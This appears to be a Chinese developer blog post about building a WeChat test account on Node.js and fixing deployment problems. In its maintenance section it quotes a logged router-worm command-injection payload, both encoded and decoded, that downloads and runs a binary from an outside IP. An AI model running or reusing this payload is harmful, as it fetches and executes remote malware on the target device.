首页 > 代码库 > 初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞

初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞

【微信测试公众号】

半年前耍着玩搭起来的“微信简历”,是LAMP版的,很皮毛。

微信的官方文档在这 http://mp.weixin.qq.com/wiki/index.php

1.获取access token

2.自定义菜单创建,直接在调试工具上做了 http://mp.weixin.qq.com/debug

3.接入指南(接入自己的网站)

4.接收微信消息,判断消息类型,判断消息关键字(比如来自哪个按钮),响应消息

这里有个小坑,不同类型的消息数据结构略有不同,判空最好做细致点。

 

【V2.0 换nodejs后台】

用惯LAMP和Tomcat+SpringMVC,刚接触nodejs硬是看傻眼了~服务器呢?容器呢?要自己在js里监听端口。。。好伐,看着API查着demo搞起~于是开始填坑之旅啦~

1.微信的消息是xml格式,解析需要工具,比如xml2js

--->干脆直接找到个微信的框架node-wechat,瞄了一下依赖,底层就是xml2js,不用重复发明轮子了~认证部分sha1验证也不用自己写~

2.js文件放上Ubuntu服务器用node启动不了~【Error: listen EACCES】

--->查了一下是服务器80端口要用root运行~不想sudo让脚本权限太高,只好在iptables里把80端口的访问转发到比如8080~终于跑起来了。

3.微信消息的数据结构细节问题,比如没特意判断是否文本消息就取Content字段导致类似空指针错误。细心点就能解决的。

--->为此还特意进去看了一下node-wechat/index.js的代码,框架的作者还是蛮细致的,该处理的都处理了。

4.健壮性:随便一个非微信请求就会Exception奔溃退出。--->在js代码里加入try...catch却完全不起作用。

--->因为框架的设计是基于事件监听的模式,许多异步和回调的操作,不用try...catch捕捉,而是要用process.on(‘uncaughtException‘, callback)去处理。

5.日志。直接记录未解析的req对象得到的是[object],记录解析后的对象则取不到那些无效的请求。

--->不想太复杂又引入日志框架,直接把写文件的代码嵌入到微信的框架里,在读入请求流req.on(‘end‘, callback)里记录请求,完事~

6.守护进程。node监听端口是手动调用的,所以,进程启动也要自己手动去做。--->不想挂nohup,就安装了又一个node框架forever,而且要-g方式安装。

至此,测试公众号终于跑起来啦!

 

【后期维护】

过了两天没事上去检查日志,貌似还是不能很愉快地玩耍~

1.Caught exception: TypeError: Cannot read property ‘xml‘ of null

非微信请求,比如直接敲网址。反正错误已抓住了,就不处理了。想更健壮些可以对http请求做判断和日志。

 

2.可疑请求

#请求的原内容%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31#解码后submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1

 whois查了一下ip是个奇怪的域名,网站为空,目测是个类似爬虫的东西。

查了一下关键字,发现是在乌云上登记的漏洞, http://www.wooyun.org/bugs/wooyun-2013-021321 基本上可以判定,就是个扫描攻击路由器的蠕虫~

已经把除了80和22以外的端口封掉了,不过请求就是从80端口进来的,没办法~

而且只是针对路由器的攻击,在我的应用中只是一堆编码,没威胁~况且故意跑了一下wget命令,也连不上,估计攻击方已经转移了~

 

3.开机无法自动启动——防火墙设置

iptables端口重定向设置,一重启就被重置。尝试了官网保存设置的方式 http://wiki.ubuntu.org.cn/IptablesHowTo#Saving_iptables_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE 是生效了,但是貌似把云主机上的设置给覆盖了,导致22端口连不上,整台云主机就这样废掉了~~~找客服运维太麻烦了,直接重装了~~~

捣腾了好几回,最后决定在/etc/rc.local里添加命令,每次开机配置~成功~

 

4.开机无法自动启动——node应用自动启动

先前是用forever框架来管理应用,发现机器重启后应用并不能自动启动,还要另外安装checkconfig之类的服务器的一些程序,从简单的角度出发,还是照样交给rc.local吧~

然后为了后台运行且不用root运行以免权限太大,配合了nohup和su命令,重启后如期望的那样~

su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser

 

5.warning: possible EventEmitter memory leak detected. 11 listeners added.  Use emitter.setMaxListeners() to increase limit.

一口气开了太多监听事件,但框架就这么设计的,只好把限制设大呗~其实也不碍事~

 

好啦,终于填平所有坑,可以愉快地玩耍啦~

初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞